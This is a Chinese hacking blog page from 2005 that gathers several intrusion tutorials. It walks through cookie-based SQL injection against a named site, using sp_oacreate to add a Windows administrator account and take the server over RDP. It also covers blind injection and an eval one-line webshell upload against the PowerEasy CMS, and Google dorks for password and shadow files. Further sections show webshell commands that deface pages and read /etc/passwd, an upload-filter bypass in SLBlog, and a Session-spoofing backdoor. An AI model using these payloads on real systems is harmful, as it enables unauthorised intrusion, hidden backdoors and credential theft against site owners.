GOGO BLOG

GOGO

  DonewsBlog  |  Donews首页  |  Donews社区  |  Donews邮箱  |  我的首页  |  联系作者  |  聚合   |  登录
  157篇文章 :: 0篇收藏:: 112篇评论:: 3个Trackbacks

文章

收藏

相册

友情连接

存档


正在读取评论……


2005年12月


一、目标的锁定
MSN上朋友icerover发信息过来问我些关于cookie注射的问题,刚好那时读蚂蚁影院系统的代码,也正好发现了其chageusr.asp. 存在cookie注射漏洞,这里简要分析其代码:

====================code==========================

====================code==========================
通过上面的简要分析我们可以知道,userid和password并没有过滤,userid和password全来自客户端的cookie,所以我们只要在客户端中的cookie构造注射语句就可以进行注射.
怎么利用这里暂不介绍,下面会提到.
朋友告诉我,有一个站www.chinaxxx.net其member.asp存在cookie注射漏洞,其权限为sa.
二、渗透之旅
下面为其member.asp的代码:
====================code==========================


====================code==========================
通过上面的代码Userid = Request.Cookies("Userid")等等,我们可以知道其userid和email的值是来客户端的cookie,再跟踪一下会发现其cookie并没有过滤,而是
strQ = "select * from tb_users where usertype>0 and email='" &Email & "' and Userid=" &Userid
直接查询,所以这个时候我们只要在cookie里面构造正确的语句就可以搞定这个站点,sa权限可以让我们….嘿嘿
三、cookie注射注意点
1.;符号,在cookie里,各个变量间的是用;来区分的,所以你的注射语句里面不要乱含有;,如果你含有的话,可能会导致你的注射语句出错.
2.空格符号,在cookie里,会自动过滤掉空格,所以你的注射语句里面要注意转换
该注意的地方也差不多了,现在我们开始我们的注射之旅吧.
四、我注,我注,我注注注
其member.asp需要登陆,登陆后其cookie如下
Userid=5581;email=icerover%40msn%2Ecom; ASPSESSIONIDASARRRTT=OMOIFPICADICDLAMAKOGCNNH
变换一下位置,方便注射
email=icerover%40msn%2Ecom; ASPSESSIONIDASARRRTT=OMOIFPICADICDLAMAKOGCNNH; Userid=5581;

查一下版本:
把 and 1=(select @@version);--解码一下,转换如下:
%20%61%6E%64%20%31%3D%28%73%65%6C%65%63%74%20%40%40%76%65%72%73%69%6F%6E%29%3B%2D%2D
整个cookie变换成
email=icerover%40msn%2Ecom; ASPSESSIONIDASARRRTT=OMOIFPICADICDLAMAKOGCNNH; Userid=5581%20%61%6E%64%20%31%3D%28%73%65%6C%65%63%74%20%40%40%76%65%72%73%69%6F%6E%29%3B%2D%2D
;
得到回显如图一:

1134436620346_8284.jpg
 
扫描其端口发现开了3389,直接加个用户,注射如下:
转换语句:
;declare @s varchar(21) set @s='wscript.shell'declare @o int exec sp_oacreate @s,@o out exec sp_oamethod @o,'run',NULL,'net.exe user linzi linzihk /add';exec sp_oamethod @o,'run',NULL,'net.exe localgroup administrators linzi /add';--
如下:
%3B%64%65%63%6C%61%72%65%20%40%73%20%76%61%72%63%68%61%72%28%32%31%29%20%73%65%74%20%40%73%3D%27%77%73%63%72%69%70%74%2E%73%68%65%6C%6C%27%64%65%63%6C%61%72%65%20%40%6F%20%69%6E%74%20%65%78%65%63%20%73%70%5F%6F%61%63%72%65%61%74%65%20%40%73%2C%40%6F%20%6F%75%74%20%65%78%65%63%20%73%70%5F%6F%61%6D%65%74%68%6F%64%20%40%6F%2C%27%72%75%6E%27%2C%4E%55%4C%4C%2C%27%6E%65%74%2E%65%78%65%20%75%73%65%72%20%78%69%61%6F%6C%75%20%6C%69%6E%7A%69%68%6B%20%2F%61%64%64%27%3B%65%78%65%63%20%73%70%5F%6F%61%6D%65%74%68%6F%64%20%40%6F%2C%27%72%75%6E%27%2C%4E%55%4C%4C%2C%27%6E%65%74%2E%65%78%65%20%6C%6F%63%61%6C%67%72%6F%75%70%20%61%64%6D%69%6E%69%73%74%72%61%74%6F%72%73%20%78%69%61%6F%6C%75%20%2F%61%64%64%27%3B%2D%2D
修改cookie如下:
email=icerover%40msn%2Ecom; ASPSESSIONIDASARRRTT=OMOIFPICADICDLAMAKOGCNNH; Userid=5581%3B%64%65%63%6C%61%72%65%20%40%73%20%76%61%72%63%68%61%72%28%32%31%29%20%73%65%74%20%40%73%3D%27%77%73%63%72%69%70%74%2E%73%68%65%6C%6C%27%64%65%63%6C%61%72%65%20%40%6F%20%69%6E%74%20%65%78%65%63%20%73%70%5F%6F%61%63%72%65%61%74%65%20%40%73%2C%40%6F%20%6F%75%74%20%65%78%65%63%20%73%70%5F%6F%61%6D%65%74%68%6F%64%20%40%6F%2C%27%72%75%6E%27%2C%4E%55%4C%4C%2C%27%6E%65%74%2E%65%78%65%20%75%73%65%72%20%78%69%61%6F%6C%75%20%6C%69%6E%7A%69%68%6B%20%2F%61%64%64%27%3B%65%78%65%63%20%73%70%5F%6F%61%6D%65%74%68%6F%64%20%40%6F%2C%27%72%75%6E%27%2C%4E%55%4C%4C%2C%27%6E%65%74%2E%65%78%65%20%6C%6F%63%61%6C%67%72%6F%75%70%20%61%64%6D%69%6E%69%73%74%72%61%74%6F%72%73%20%78%69%61%6F%6C%75%20%2F%61%64%64%27%3B%2D%2D;
得到回显如图二:

1134436650434_5637.jpg
 
虽然显示占线,但已经执行成功,开了TS,直接用3389登陆器登上去,bingo!拿下站点.
五、总结:
无语,大家自己去体会!~~~




好久没写文章了,此文主要给大家讲解二个技巧:一是灵巧的注入;二是不进后台巧妙的上传WebShell。希望各位朋友能举一反三,有不当之处请高手指教。
一、注入漏洞
因一朋友想让帮他看一个站,装的是动易2005ACCESS版,以前和LLIKZ发现动易SQL版存在短消息注入漏洞,因为能执行多语句所以利用起来相对容易一些(其实ACCESS也存在漏洞,因手工猜测起来比较麻烦,所以就一保留了,哈哈)。此站的漏洞同样是在短消息这个地方,不同的是它是ACCESS版,首先注册一个用户,然后登录,如果进入后用户控制面板没有短消息功能,你可以试试在网址中输入http://www.***.com/user/user_message.asp 先给自己发一个短消息然后在删短消息,如果我们在删除的短消息的能数MessageID=1; 后加一个分号系统返回“语法错误 在查询表达式 'Incept='admin' and ID in (4;)' 中。”说明存在注入漏洞。如下图所示:

为什么报错呢?大家仔细看一下,在SQL中in后面应该是一个集合,但是4后面多了一个分号这样就不出现了语法错误。经过测试发现只有存在语法错误的时候才会报错,哪怎么能通过这个报错来实现注入呢?因此想到了iif语句,构造的语句如下:/User/User_Message.asp?Action=Del&ManageType=Inbox&MessageID=1)and%201=(select%20top%201%20iif(asc(mid(password,1,1))<96,1,password)%20from%20pe_admin 接下来给大家分析一下为什么要构造这样的语句呢?因为根据加分号的报错情况来看短消息后面还有一个右括号,以补足in条件,所以在构造的注入语句MessageID=1后面加了一个右括号,表名pe_admin后面为什么没加右括号是因为借用了in条件语句的右括号。接下来我们在看看关键的语句iif(asc(mid(password,1,1))<96,1,password),asc(mid(password,1,1))<96的意思是判断password字段的第一位的ASCII值是否大于96,整个iif语句的意思是,如果password字段的第一位的ASCII值是否小于96,就返回1,否则返回password。如果返回1,select语句返回的结果是1=1因此是正确的,会出现如下图:

相反如果如果password字段的第一位的ASCII值是不小于96,则返加字段的值,1=psssword的值时会出现如下提示:“标准表达式中数据类型不匹配。”

这样就可以根据返回不同的信息进行爆破了。
二、上传漏洞
以上注入说完了,在来谈谈如何不进后台上传,在这里给大家提供一种上传思路——cookie欺骗式上传。看有关“顶部栏目菜单管理”的文件Admin_RootClass_Menu.asp,包括如下几个头文件
    //数据库连接文件
//有关函数定义的文件
//检查管理权限的文件
//顶部栏目菜单设置文件
如果确定是管理员以后,会把我们设置的参数的内容写到RootClass_Menu_Config.asp文件中,如果来绕过Admin_ChkPurview.asp这个文件呢?大家看它有这样一段代码:
'检查管理员是否登录
AdminName = ReplaceBadChar(Trim(Request.Cookies(Site_Sn)("AdminName")))//管理员名
AdminPassword = ReplaceBadChar(Trim(Request.Cookies(Site_Sn)("AdminPassword")))//管理员md5密码
RndPassword = ReplaceBadChar(Trim(Request.Cookies(Site_Sn)("RndPassword")))//管理员的一个随机密码
程序就是通过这三个变量确定是不是管理员,而且它们都是在Cookies中取得的,这样我们就可以通过抓包Cookie欺骗了。
具体方法:先在本地机器装好系统,登录后台,点击顶部栏目菜单管理,在菜单背景图片:栏中按填入如下代码:
"%> <%'然后抓包如下:
POST /admin/Admin_RootClass_Menu.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Referer: http://178.126.0.234/admin/Admin_RootClass_Menu.asp?ChannelID=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Host: 178.126.0.234
Content-Length: 1009
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCSBQACQ=IFFFGAKDHJPAJJCCDGOKMOEN; SendMessage=Yes; 1781260234=AdminName=admin&RndPassword=5748509MMHo36NDH&AdminPassword=469e80d32c0559f8&CookieDate=1; VisitNum=1

RCM_Menu_1=4&RCM_Menu_2=0&RCM_Menu_3=0&RCM_Menu_4=2&RCM_Menu_5=3&RCM_Menu_6=6&RCM_Menu_7=7&RCM_Menu_8=100&RCM_Menu_9=filter%3AGlow%28Color%3D%23000000%2C+Strength%3D3%29&RCM_Menu_10=4&RCM_Menu_12=23&RCM_Menu_13=50&RCM_Menu_14=2&RCM_Menu_15=4&RCM_Menu_16=%23999999&RCM_Menu_17=%23ffffff&RCM_Menu_18=%22%25%3E%3CSCRIPT+RUNAT%3DSERVER+LANGUAGE%3DJAVASCRIPT%3Eeval%28Request.form%28%27yongger%27%29%2B%27%27%29%3C%2FSCRIPT%3E%3C%25%27&RCM_Menu_19=3&RCM_Menu_20=1&RCM_Menu_21=1&RCM_Menu_22=%23ACA899&RCM_Item_12=&RCM_Item_13=&RCM_Item_14=0&RCM_Item_15=0&RCM_Item_16=0&RCM_Item_17=&RCM_Item_18=&RCM_Item_19=0&RCM_Item_20=0&RCM_Item_21=0&RCM_Item_22=0&RCM_Item_23=1&RCM_Item_24=%23F1F2EE&RCM_Item_25=1&RCM_Item_26=%23CCCCCC&RCM_Item_27=1&RCM_Item_28=&RCM_Item_29=&RCM_Item_30=3&RCM_Item_32=0&RCM_Item_33=0&RCM_Item_34=%23FFFFF7&RCM_Item_35=%23FF0000&RCM_Item_36=%23000000&RCM_Item_37=%23CC0000&RCM_Item_38=9pt+%CB%CE%CC%E5&RCM_Item_39=9pt+%CB%CE%CC%E5&Action=SaveConfig&ChannelID=1&cmdSave=+%B1%A3%B4%E6%C9%E8%D6%C3+
修改抓包内容:Referer: http://178.126.0.234/admin/Admin_RootClass_Menu.asp?ChannelID=1和Host: 178.126.0.234的主机名改成目标主机名;1781260234=AdminName=admin&RndPassword=5748509MMHo36NDH&AdminPassword=469e80d32c0559f8除了AdminName、RndPassword和AdminPassword的内容换成目标站的以外,1781260234这一串字符也要换成目标站的url去掉字符点以后的内容,有的朋友也许看出来的1781260234正好是我的IP去掉点后的内容,如果你的是址名www.abc.com改成如下:wwwabccom,改改完毕后利用NC提交就可以了。提交成功之后文件RootClass_Menu_Config.asp内容如下图:

三、动易上传漏洞黑防专版
为方便各位朋友的使用,偶编了一个程序,如果对方存在注入漏洞,先注册一用户,保存cookie并给自己发送一短消息然后点开始即可爆出RndPassword和Password,程序没有爆管理员用户名需用户自己填上,然后点击上传,如发现对话框“上传成功”,你就可以使用冰狐一句话后门了。同进站点返回的信息会显示在最下面的空白框中。

小技巧:很多网站利用的默认数据http://www.***.com/database/powereasy5.mdb,下载后直接填入RndPassword,Password和管理员名就可以上传后门了。





    摘要:文章    (全文共6832字)——点击此处阅读全文




    摘要:用WebShell实现DDOS攻击    (全文共982字)——点击此处阅读全文



本文是我通过网上收集整理。若有漏洞和不全面的地方还请多多指教!!!!!!!

google hacking其实并算不上什么新东西,当时并没有重视这种技术,认为webshell什么的,并无太大实际用途.google hacking其实并非

如此简单...

google hacking的简单实现
使用google中的一些语法可以提供给我们更多的信息(当然也提供给那些习惯攻击的人更多他们所想要的.),下面就来介绍一些常用的语法.
intext:
这个就是把网页中的正文内容中的某个字符做为搜索条件.例如在google里输入:intext:动网.将返回所有在网页正文部分包含"动网"的网页

.allintext:使用方法和intext类似.

intitle:
和上面那个intext差不多,搜索网页标题中是否有我们所要找的字符.例如搜索:intitle:安全天使.将返回所有网页标题中包含"安全天使"的网

页.同理allintitle:也同intitle类似.

cache:
搜索google里关于某些内容的缓存,有时候也许能找到一些好东西哦.

define:
搜索某个词语的定义,搜索:define:hacker,将返回关于hacker的定义.

filetype:
这个我要重点推荐一下,无论是撒网式攻击还是我们后面要说的对特勘杲行畔⑹占夹枰玫秸飧?搜索指定类型的文件.例如输入

:filetype:doc.将返回所有以doc结尾的文件URL.当然如果你找.bak、.mdb或.inc也是可以的,获得的信息也许会更丰富

info:
查找指定站点的一些基本信息.

inurl:
搜索我们指定的字符是否存在于URL中.例如输入:inurl:admin,将返回N个类似于这样的连接:http://www.xxx.com/xxx/admin,用来找管理员登

陆的URL不错.allinurl也同inurl类似,可指定多个字符.

link:
例如搜索:inurl:www.4ngel.net可以返回所有和www.4ngel.net做了链接的URL.

site:
这个也很有用,例如:site:www.4ngel.net.将返回所有和4ngel.net这个站有关的URL.


对了还有一些*作符也是很有用的:
+ 把google可能忽略的字列如查询范围
- 把某个字忽略
~ 同意词
. 单一的通配符
* 通配符,可代表多个字母
"" 精确查询

下面开始说说实际应用

以下内容均在google上搜索,对于一个居心叵测的攻击者来说,可能他最感兴趣的就是密码文件了.而google正因为其强大的搜索能力往往会

把一些敏感信息透露给他们.用google搜索以下内容:
intitle:"index of" etc
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
"# -FrontPage-" inurl:service.pwd
有时候因为各种各样的原因一些重要的密码文件被毫无保护的暴露在网络上,如果被别有用心的人获得,那么危害是很大的


同样可以用google来搜索一些具有漏洞的程序,例如ZeroBoard前段时间发现个文件代码泄露漏洞,可以用google来找网上使用这套程序的站

点:
intext:ZeroBoard filetype:php
或者使用:
inurlutlogin.php?_zb_path= site:.jp
来寻找我们所需要的页面.phpmyadmin是一套功能强大的数据库*作软件,一些站点由于配置失误,导致我们可以不使用密码直接对phpmyadmin进

行*作.我们可以用google搜索存在这样漏洞的程序URL:
intitle:phpmyadmin intext:Create new database

还记http://www.xxx.com/_vti_bin/..%5 ... ystem32/cmd.exe?dir吗?用google找找,你也许还可以找到很多

古董级的机器。同样我们可以用这个找找有其他cgi漏洞的页面。
allinurl:winnt system32

前面已经简单的说过可以用google来搜索数据库文件,用上一些语法来精确查找能够获得更多东西(access的数据库,mssql、mysql的连接文件

等等).举个例子示例一下:
allinurl:bbs data
filetype:mdb inurl:database
filetype:inc conn
inurl:data filetype:mdb
intitle:"index of" data //在一些配置不正确的apache+win32的服务器上经常出现这种情况,和上面的原理一样,我们还可以用google来找后

台.


利用google完全是可以对一个站点进行信息收集和渗透的,下面我们用google对特定站点进行一次测试。
首先用google先看这个站点的一些基本情况(一些细节部分就略去了):
site:xxxx.com
从返回的信息中,找到几个该校的几个系院的域名
http://a1.xxxx.com
http://a2.xxxx.com
http://a3.xxxx.com
http://a4.xxxx.com
顺便ping了一下,应该是在不同的服务器.学校一般都会有不少好的资料,先看看有什么好东西没

site:xxxx.com filetype:doc
得到N个不错的doc。

先找找网站的管理后台地址:
site:xxxx.com intext:管理
site:xxxx.com inurl:login
site:xxxx.com intitle:管理
超过获得2个管理后台地址:
http://a2.xxxx.com/sys/admin_login.asp
http://a3.xxxx.com:88/_admin/login_in.asp

还算不错,看看服务器上跑的是什么程序:
site:a2.xxxx.com filetype:asp
site:a2.xxxx.com filetype:php
site:a2.xxxx.com filetype:aspx
site:a3.xxxx.com filetype:asp
site:.......
......
a2服务器用的应该是IIS,上面用的是asp的整站程序,还有一个php的论坛
a3服务器也是IIS,aspx+asp。web程序都应该是自己开发的。有论坛那就看看能不能遇见什么公共的FTP帐号什么的:
site:a2.xxxx.com intext:ftp://*:*
没找到什么有价值的东西。再看看有没有上传一类的漏洞
site:a2.xxxx.com inurl:file
site:a3.xxxx.com inurl:load
在a2上发现一个上传文件的页面:
http://a2.xxxx.com/sys/uploadfile.asp
用IE看了一下,没权限访问。试试注射,
site:a2.xxxx.com filetype:asp
得到N个asp页面的地址,体力活就让软件做吧,这套程序明显没有对注射做什么防范,dbowner权限,虽然不高但已足矣,back a shell不太喜

欢,而且看起来数据库的个头就不小,直接把web管理员的密码暴出来再说,MD5加密过。一般学校的站点的密码都比较有规律,通常都是域名+

电话一类的变形,用google搞定吧。
site:xxxx.com //得到N个二级域名
site:xxxx.com intext:*@xxxx.com //得到N个邮件地址,还有邮箱的主人的名字什么的
site:xxxx.com intext:电话 //N个电话
把什么的信息做个字典吧,挂上慢慢跑。过了一段时间就跑出4个帐号,2个是学生会的,1个管理员,还有一个可能是老师的帐号。登陆上去:
name:网站管理员
pass:a2xxxx7619 //说了吧,就是域名+4个数字
要再怎么提权那就不属于本文讨论访问了,呵呵,到此为止。


这段时间在国外的一些google hack的研究站点看了看,其实也都差不多是一些基本语法的灵活运用,或者配合某个脚本漏洞,主要还是靠

个人的灵活思维。国外对于google hack方面的防范也并不是很多,所以大家还是点到为止,不要去搞破坏拉,呵呵。对于一些在win上跑
apache的网管们应该多注意一下这方面,一个intitle:index of就差不多都出来了
1.查找利用php webshell

intitle:"php shell*" "Enable stderr" filetype:php

(注: intitle—网页标题 Enable stderr—UNIX标准输出和标准错误的缩写filetype—文件类型)。搜索结果中,你能找到很多直接在机器上执

行命令的web shell来。如果找到的PHPSHELL不会利用,如果你不熟悉UNIX,可以直接看看LIST,这里就不详细说了,有很多利用价值。要说明

的是,我们这里搜索出来的一些国外的PHPSHELL上都要使用UNIX命令,都是system调用出来的函数(其实用百度及其他搜索引擎都可以,只是填

写搜索的内容不同)。这个PHPWEBSHELL是可以直接Echo(Unix常用命令)。一句话就把首页搞定了:


echo "召唤" > index.jsp


现在看看首页,已经被我们改成: "召唤" 了。

我们也可以用WGET上传一个文件上去(比如你要替换的叶子吧)。然后execute Command输入 cat file > index.html or echo "" > file

echo "test" >> file

这样一条条打出来,站点首页就成功被替换了。同样的也可以


uname -a;cat /etc/passwd

不过有点要注意,有些WEBSHELL程序有问题,执行不了的,

2.搜索INC敏感信息

在google的搜索框中填入:

Code:

.org filetype:inc



slblog(思玲blog), 某权威站点统计的第三大blog用户程序。
这个多用户Blog,刚发展起来的,更新很快,感觉像是oblog和missblog的结合体,
同时首创了Blog系统无限级分类和用户栏目的无限级分类,多功能在现编辑器。
但界面不是很美观,好在模板和程序分离,方便修改。
不过这个blog 程序中存在致命的漏洞,所有的版本包括官方站点都有此漏洞
有点年头了.忽然想起来,就发布了吧.官方补上了漏洞-_-!
用的人也挺多的,不过以前留了个后门.很久了.好象还能用.
授人以渔,其实还是上传的漏洞.请耐心看完,开始:
刚拿到的时候还想看有没注入点,3M多,我懒,看了一下过滤(Slblog/Include/Slbcode.asp)
--------------code---------------------
’60 过滤字符串中的危险字符
function ReplaceBadChar(strChar)
 if strChar="" then
  ReplaceBadChar=""
 else
  ReplaceBadChar=replace(replace(replace(replace(replace(replace(replace(strChar,"’",""),"*",""),"?",""),"(",""),")",""),"〈",""),".","")
 end if
end function
----------------------------------------
够让人郁闷的.去掉了’ * ? ( ) 〈和.不想找是不是有人家没过滤的代码。
去看别的,从后台开始,一般人写后台比较宽松,因为我就是。汗~,觉得自己的密码足够强大,别人也进不来,还是因为我懒。
发文章那里有个很不错的在线编辑器,目的很明确,先找上传,漏洞也就出现了。嘿嘿。SLBlog\SLeditor\Upload.asp


我们来看一下.晕!只有一个"浏览"的按钮.看下提交到哪里?
-------------------(1.jpg)-------------------------
〈form action="?act=save&sType=&TBlogID=0&sClass=" method="post" name="sform" enctype="multipart/form-data"〉
-------------------------------------------------
缺3个函数,sType,可能是文件的类型,TBlogID为id,sClass可能为分类类别,我也不大清楚.想验证的话,自己抓个包.去看Upload.asp代码,看怎么过滤的.
〈!--#include FILE="inc/upfileClass.asp"--〉
无惧上传类,往后看:
---------------------------------------------
sClass = Trim(Request.Querystring("sClass"))
sType = Trim(Request.Querystring("sType"))
TBlogID= Trim(Request.Querystring("TBlogID"))
----------------------------------------------
这里接受3个变量.再往后看.
sNoAllowExt = "asp|htm|html|shtml|dhtml|aspx|js|as|vbs|exe"
嘿嘿,有问题后,心情有点激动,再下面
----------------------------------------------
if (Trim(Request.QueryString("act"))) = "save" then
 sBlogPath = TBlogID & "|" & DatePart("yyyy",now()) & "|" & DatePart("m",now())
 Call actSave()
 else
 Call actList()
end if
----------------------------------------------
act为save时,保存.去看看还有没验证的.
----------------------------------------------
Sub actSave()
 Set upfile = new upFileClass ’’建立上传对象
  upfile.NoAllowExt=sNoAllowExt ’设置上传类型的黑名单
  upfile.GetData (sNoAllowSize*1024) ’取得上传数据,限制最大上传10M
----------------------------------------------
后面是保存文件的路径和名称,不看了.我的马能传上去就得了.



总结一下:要提交4个变量,/Upload.asp?act=save&TBlogID=1&sType=image&sClass=1
TBlogID生成文件的时候用,sType为文件类型,用过一次.别处好象没用.
---------------------------------------
〈%
Select Case sType
 Case "flash"
  sAllowExt = "swf"
end Select %〉
---------------------------------------
TBlogID生成的文件夹的时候用,空的时候默认为0.
---------------------------------------
If TBlogID = "" Or Not Isnumeric(TBlogID) Then
 TBlogID=0
end if
---------------------------------------
sClass没找到调用,不管拉.这么一看,好象3个变量都没什么用了.
上传的问题:
只是不能传asp,我们可以传asa,或者简单点直接在asp后加空格.
没了.真没了.有我也不看了!构造上传.
-----------------------------------------
〈form action="http://test.com/Blog/sleditor/Upload.asp?act=save&TBlogID=1&sType=image&sClass=1" method="post" name="form1" enctype="multipart/form-data"〉
〈input name="FileName" type="FILE" class="tx1" size="30"〉
〈input type="submit" name="Submit" value="上传"〉
〈/form〉
-----------------------------------------
改下路径,上传asp+空格,成功.看下源文件.
------------------(2.jpg)---------------------
〈script language="javascript"〉parent.UploadSaved(’1/2005/11/2005112420545773499.asp ’);history.back()〈/script〉〈script language="javascript"〉parent.imgIsUse(’2005112420545773499.asp ’);history.back()〈/script〉
-------------------------------------------
文件保存在UploadFile下.路径是这样的:
blog/UploadFile/1/2005/11/2005112420545773499.asp
补洞吧.简单点.就是UploadFile文件夹不允许执行asp.
安全点的是打上补丁.过滤掉空格和"."有了就跳到死.
给个例子,只要文件和后缀的.个数不同就错误.
-------------------------------------------
FileName = Lcase(FileName)
If Instr(FileName,".") 〈〉 InstrRev(FileName,".") Then
  msg="文件名中含有多个“.”!\n\n请修改文件名后再上传--BY JACKAL" 
  FoundErr=true
-------------------------------------------
bye~~





    摘要:

位站长在使用eWebEditor的时候是否发现,eWebEditor配置不当会使其成为网站中的隐形炸弹呢?第一次发现这漏洞源于去年的一次入侵,在山穷水尽的时候发现了eWebEditor,于是很简单就获得了WebShell。后来又有好几次利用eWebEditor进行入侵的成功经历,这才想起应该写一篇文章和大家共享一下,同时也请广大已经使用了eWebEditor的站长赶紧检查一下自己的站点。要不然,下一个被黑的就是你哦!

漏洞利用
利用eWebEditor获得WebShell的步骤大致如下:
1.确定网站使用了eWebEditor。一般来说,我们只要注意发表帖子(文章)的页面是否有类似做了记号的图标,    (全文共3897字)——点击此处阅读全文




推荐:利用Session欺骗构造最隐蔽的WebShell


不知不觉“LM团伙”看黑防已有两个春秋了,期期不落。潜心修炼了这么久,也能开始耍上一两招了。看了黑防第二期的《DreamWeaver引发网络危机》一文,“LM团伙”内心有说不出的激动,心想网上有40%的网页都有这样的漏洞,那岂不是又能收获N多肉鸡了。可是仔细研究发现,这个文章的方法存在一些问题,并不像想象中的那样容易发挥。下面就与大家一起讨论一下Session。
既然是谈Session欺骗,那么就先来看一下Session到底是什么,它是怎么工作的。在ASP中,服务器能通过Session对象区分不同的浏览器,因为Session对象是用来记录浏览器端的变量,存储一些如用户名等比较敏感或有用的信息。这点似乎和Cookie有点像。但我们知道Cookie的值都是保存在客户端的,而Session的值却是保存在服务器端。当每个访问者第一次浏览器访问服务器的一个ASP网页的时候,服务器会为他创建一个新的并且独立的Session对象,分配给该会话一个会话标识号,并把包含会话标识符的特殊加密版本的一个Cookie(会话标识号)发送给客户。由于在Cookie(会话标识号)中没有提供Expires值,所以当浏览器关闭时,这个会话标识号也就消失了。
每当用户访问这个ASP网站时,ASP都会通过浏览器查找这个会话标识号。命名为ASPSESSIONIDxxxxxxxx,其中每个x是一个字母符。我们在抓接收包时能看见:
Set-Cookie: ASPSESSIONIDSQBBQQDS=GCINNKPDIGDNPEAOGLDFFFEM; path=/
但是这个Cookie(会话标识号)不会出现在Request.Cookies或Respsones.Cookies集合中,虽然ASP把它隐藏起来,但仍保存在浏览器上。对于每个ASP网页的请求,ASP都要查看该值。这个Cookie(会话标识号)包含的值,指明了这个用户的会话。因此,相应的Session对象(该对象已经在内存中,并且一直包含所有在前一页面请求过程中进行超操作的值)的内容可以移交给ASP网页中的脚本。也就是说,浏览器端拥有的是服务器分配的一个会话ID号,当我们有请求的时候,服务器可以通过这个ID号,查找相应Session对象的值,也就实现了区分不同的浏览器。
利用
文笔不好,不知道大家从前面的原理部分是否对Session有了一定的认识。现在我们来看看《DreamWeaver引发网络危机》一文是如何利用Session会话的。
已有某网站abc.com,下有登录页:Login.asp,成功登录后转向可以看到敏感信息的OK.asp(设有访问限制,验证通过则显示),否则转向Fail.asp。
在该文中,作者是想先构造一个hack.asp的网页,通过浏览该网页,建立Session会话,并设置一下Session验证时所需要的值,然后直接在地址栏输入登录以后的网页ok.asp,由于ok.asp是通过Session来验证的,所以作者认为这样能成功。可是,通过前面的分析我们知道,如果ok.asp和hack.asp不在同一台服务器上,这种攻击是无法实现的。因为Session对象的值都是保留在服务器端,不可能像作者所说的那样:让ASP执行并在IE中留下Session值,IE所拥有的不过是一个Session的会话标识号。如果我们在本机或其它服务器浏览了hack.asp,设置的验证值是在hack.asp所在的服务器上,但是在ok.asp所在的服务器上并没有设置相应的验证值,就连Session会话都没有建立,又如何通过验证呢?可见如果ok.asp和hack.asp不在同一台服务器上,就不会引发网络危机了。
但是我们能通过这种Session欺骗的方法在入侵后给自己留一个不易查杀的后门!下面就以MyPower动力3.5为例给大家演示,如何通过Session欺骗来达到直接登录后台目的。
我们先来看一下动力的源代码,在Admin_ChkPurview.asp中Session的验证:
AdminName=replace(session("AdminName"),"'","")
if AdminName="" then
call CloseConn()
response.redirect "Admin_login.asp"
end if
sqlGetAdmin="select * from Admin where UserName='" & AdminName & "'"
可见,动力是通过Session对象中的AdminName变量来认证的,并用它作为用户名来查询数据库,而AdminName的最初赋值是在Admin_ChkLogin.asp中,当用户成功登录以后会给你两个Session值:
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
由于登录以后都是通过Session对象来检测的,所以我们在任何能访问的ASP网页中可构造以下语句(如Copyright.asp):
<%session("AdminName")="admin"%>
这样就能通过Admin_ChkPurview.asp的Session验证了。其中,Admin是指存在的管理用户名。这样构造后,即使我们在肉鸡上的任何木马都被查杀,只要管理员的用户名没有更改,我们可以先访问Copyright.asp,然后直接输入Admin_Index.asp就能直接登录后台了!
那对于这种情况如何预防呢?其实动力也用了一定的办法,你会发现按这种方法输入其它的后台页面无法成功,这是因为在Admin_ChkPurview.asp还有如下验证:
ComeUrl=lcase(trim(request.ServerVariables("HTTP_REFERER")))
if ComeUrl="" then
response.write "<br><p align=center><font color='red'>对不起,为了系统安全,不允许直接输入地址访问本系统的后台管理页面。</font></p>"
response.end
else
cUrl=trim("http://" & Request.ServerVariables("SERVER_NAME"))
if mid(ComeUrl,len(cUrl)+1,1)=":" then
cUrl=cUrl & ":" & Request.ServerVariables("SERVER_PORT")
end if
cUrl=lcase(cUrl & request.ServerVariables("SCRIPT_NAME"))
if lcase(left(ComeUrl,instrrev(ComeUrl,"/")))<>lcase(left(cUrl,instrrev(cUrl,"/"))) then
response.write "<br><p align=center><font color='red'>对不起,为了系统安全,不允许从外部链接地址访问本系统的后台管理页面。</font></p>"
response.end
end if
end if
可是在Admin_Index.asp页面中并没有调用Admin_ChkPurview.asp,所以我们能通过验证!那为什么不调用呢?不要问我了,自己试一试就知道了。
后记
我们知道通过关闭浏览器能结束会话,但是这样失去的只是服务器给我们分配的会话标识号。而在Session会话的生命周期结束之前,服务器是不会将会话标识号对应的Session值从内存中清除的。
小知识:一般IIS的Session的生命周期默认是20分钟。
利用这个原理,如果我们通过一定途经获得了其它浏览器登录服务器时建立的Session会话标识号。那么我们就能用这个会话标识号来得到被劫浏览器端同样的权限。如果是一个管理员在登录后台,那么我们在另一台电脑上用这个会话标识号通过Session欺骗同样能登录后台,从而就实现了异地的攻击。具体方法欢迎到黑防论坛讨论。
文章若有疏漏敬请兄弟指出,哪位兄弟若有更好的利用方法欢迎一起分享




    摘要:Serv-U.php:黑暗中的光芒    (全文共5981字)——点击此处阅读全文




    摘要:一段防注入的通用脚本    (全文共1438字)——点击此处阅读全文



在网上有许多网友提出这样的问题:究竟网站的主页是如何被黑的?黑客们到底是如何入侵服务器的? 
       在讨论这部分知识前,读者需要知道——入侵网站是非法的;但是在网络上找到网站的入侵漏洞并通知该网站是受到欢迎的。为什么要这样寻找入侵漏洞或入侵哪,著名的黑客H ackalot说过“入侵网站是利用所学的知识来学习新的知识的一种办法”,这也就是中国人所常说的“温故而知新”。


【原理】 
       尽管为服务器设计软件的软件工程师们想方设法提高系统的安全性,然而由于系统管理员的水平参差不齐或安全意识底下,往往给黑客提供了入侵的机会。

